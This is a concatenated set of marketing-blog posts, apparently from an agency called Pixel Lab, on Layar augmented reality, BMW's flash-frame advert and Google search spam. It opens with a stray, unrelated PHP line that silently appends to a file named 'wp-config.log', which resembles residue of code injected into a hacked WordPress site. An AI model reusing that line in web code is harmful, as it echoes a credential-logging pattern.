$fp = @fopen("wp-config.log", "a");
Layar is a simple and effective tool that overlays all kinds of information onto your phones camera. Looking for your nearest tourist attraction, bus stop, pizzaria or pub? well just turn layar on, and look at your camera. You will get a visual marker on your screen that shows you the exact geographic location of whatever it is you are looking for, how many metres away it is and useful links to information as well as a pinpoint on Google maps. Sounds great eh?!
So feel free to give us a buzz and we’ll see what we can do for you.]]>
Well known interactive designer Vivian Rosenthal’s new venture, the aptly named Goldrun sums up neatly the kind of new opportunities there are for brands and agencies who start embracing the space – higher consumer engagement levels. The main objective of Goldrun apps are to get consumer’s to hunt down augments all over their city, capture them (with their camera) and trade them off for rewards. The beauty of a Layar app is that it is contextual and highly targeted yet incredibly easy to access ( once you’ve purchased your smartphone and downloaded the free Layar viewer!)
This means that even though Layars are geographically based you can have as many as you want in any given geo location and not run out of space. You simly turn on and off the Layar you want to see. The potential for Augmented reality through your mobile are huge. Everything from a guided tour of the city through your phone’s camera to snapping pictures of your friend in a virtual t-shirt to pointing it at your static newspaper to view a contextual video on whatever topic you are reading about – http://video.nytimes.com/video/2011/04/07/technology/100000000764096/augmented-reality.html?ref=technology.
The real challenge is a bit like the one the internet faced in it’s infancy. Sorting through the chaff and getting to the most relevant applications for the technology before people switch off to it.]]>
Everyone ( well of a certain ilk!) will remember the Tyler Durden splicing gentlemen’s appendages into Disney Cartoons ten years back in the cult classic Fight Club, the outcome being small children spontaneously bursting into tears for apparently no reason. The film played on this concept the whole way through and it could be argued that it helped it build it’s ‘cult’ following.
While this might have been an exaggeration of the power of the flash frame, BMW have recently started experimenting with the concept in their well received experiment with Service Plan of Munich. The audience was shown a well shot but pretty standard advert featuring SuperBike champion Ruben Xaus. The main difference here was that a frame flashed twice during the movie and burned the BMW logo into the retina of the audience. When they left the theatre afterwards and closed their eyes they had the strange sensation of looking at the BMW logo dancing in their vision.
Advertising has always been a consumer focused form of pop pyschology, using real and psuedo science to create campaigns that engage their audiences in a meaningful way by any means possible. While you could argue that nearly all advertising is subconscious in one way or another this form takes it in an interesting and maybe slightly creepy direction.
So next time you are looking at your tin of catfood make sure you aren’t getting overwhelming urges to spend indecent amounts of money on an umbrella…]]>
Now even the top people at Google and industry leaders like the guys at SEO Moz are openly acknowledging the problems with how search works. People have figured out exactly how to game Google – and now it can be difficult to even find the website of a company when specifically looking for it. A search for any business in most major cities, and increasing numbers of companies in different industries and professions will more than likely return 3rd party directory listings, the sites that have put some work into SEO, and an increasing number of fraudulent sites (depending on what you are looking for it could be mostly ripoff sites). Even Matt Cutts is writing about how Google needs to cut down on webspam.
So – the consensus is that there is something very wrong with search – so what does this mean for business owners and marketing managers? At Pixel Lab clients of ours are getting calls every week from SEO agencies promising to get our clients to the top fo Google rankings (although they are generally there anyway), offering to sell them links or through some other dark arts. Nowadays we advise anyone to go down this road at their own risk – its clear that Google has to sort this out – right now they seem to be doing it manually and who knows how they will automate it in the future. The best approach companies can take is to produce content or initiatives of value that people will be interested in and link to naturally. This can be a lot more fun – and less risky – than black hat seo tactics.]]>
The man who walked around the world
100 years of walking
All sorts of stuff goes on. People figure out the rules and bend them as far as possible - because there is a lot of money to be made if you sell products/ services and can game the system. The technology behind search is pretty developed and its clear that a lot of changes are happening constantly to the algorithm. However its also clear that despite the massive computing power and resources put into search, the algorithms haven’t progressed beyond a principle that is in some respects flawed – the value and power of links. Page Rank was developed by Sergey Brin and Larry Page to enable machines to determine the value of a websites content – essentially a subjective, human judgement. This concept underpins all search results and means that the value of a site in relation to a particular search term will be calculated by the number of links coming in from sites, and words within these links (anchor text), the value (or Page Rank) of these sites, and other factors such as whether its a .gov/ .edu site, whether he domain is in a search-term relevant subject area etc. These principles havent changed much since 1998 when they were first published, and are the reason why a lot of time and effort is put by companies into either placing links deliberately (talk to any forum/ comments webmaster about this), or encouraging people to link naturally to sites by offering content, widgets or things of value on your site.There is the famous example of how Matt Inman – aka the Oatmeal – used a combination of quizes and comics to generate 80,000 incoming links, leading to a trade sale of the site within 6 months.
Of course things have moved on since then and its no longer as easy to do this, but the principle of value equating to the number of links stands. It has become increasingly difficult to get meaningful links as the fundamentals of the web itself have evolved to combat link spamming. However recently a case has emerged in the US in which the New York Times wrote an article about Vitaly Borker- the owner of a business in the US who used to sell inferior quality or fake glasses and then abuse and intimidate his customers. Borker was found by the Times boasting that he loved when people complained online about his site, as they generally were linking to it, adding to the value of his site in the eyes of Google. The large number of complaints about his site meant that there were a lot of links, which meant that his site was the one that was rising to the top of the organic searches. Borker was getting credit online from ripping people off.
Google are very circumspect about exactly how their algorithm works, but in this case they quickly came out and said that they had changed how they interpreted links . Negative reviews and sentiments about sites from now on are to be factored into their value on the system.
For anyone who doesn’t work in search this whole episode might appear shocking. However this is a little flavour of some of the issues around online marketing/ search engine optimization. The challenge facing reputable companies as they try and keep their deserved place in search rankings against unscrupulous companies employing all sorts of tactics – is one of the main issues facing online]]>